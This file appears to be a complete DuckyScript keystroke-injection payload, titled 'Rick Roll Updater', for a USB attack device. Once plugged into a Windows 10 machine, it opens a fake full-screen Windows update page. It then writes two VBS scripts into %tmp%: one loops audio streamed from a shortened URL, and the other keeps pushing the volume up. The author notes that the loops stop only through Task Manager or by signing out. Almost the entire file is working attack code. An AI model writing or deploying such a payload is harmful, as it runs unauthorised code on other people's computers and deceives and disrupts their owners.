payload.txt

REM Title:         Rick Roll Updater
REM Author:        MocconaCoffee
REM Description:    Load a fake Windows 10 update screen and creates two Visual Basic Scripts *rickyou.vbs* and *volup.vbs* in the **%tmp%** directory.
REM Description:    *rickyou.vbs* is responsible for playing the rick roll audio, while *volup.vbs* is responsible for maintaining the volume.
REM Notes:          *The only way to cancel the rick roll is to manually end the VBS tasks via task manager or to sign out via CTRL ALT DELETE.
REM Tested OS:     Windows 10 (other distributions of Windows haven't been tested, they may or may not work).
DELAY 3000
GUI r 
DELAY 100 
STRING https://fakeupdate.net/win10ue/ 
ENTER 
DELAY 500 
F11
DELAY 500
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 200
STRING mode con: cols=20 lines=1
ENTER
DELAY 200
STRING color fe
ENTER
DELAY 500
STRING del %tmp%\rickyou.vbs
ENTER
DELAY 200
STRING del %tmp%\volup.vbs
ENTER
DELAY 200
STRING cd %tmp% && copy con rickyou.vbs
ENTER
STRING While true
ENTER
STRING Dim oPlayer
ENTER
STRING Set oPlayer = CreateObject("WMPlayer.OCX")
ENTER
STRING oPlayer.URL = "http://tinyurl.com/s63ve48"
ENTER
STRING oPlayer.controls.play
ENTER
STRING While oPlayer.playState <> 1 ' 1 = Stopped
ENTER
STRING WScript.Sleep 100
ENTER
STRING Wend
ENTER
STRING oPlayer.close
ENTER
STRING Wend
ENTER
DELAY 100
CTRL z
ENTER
STRING copy con volup.vbs
ENTER
STRING do
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.SendKeys(chr(&hAF))
ENTER
STRING loop
ENTER
CTRL z
ENTER
STRING start rickyou.vbs && volup.vbs
ENTER
STRING exit
ENTER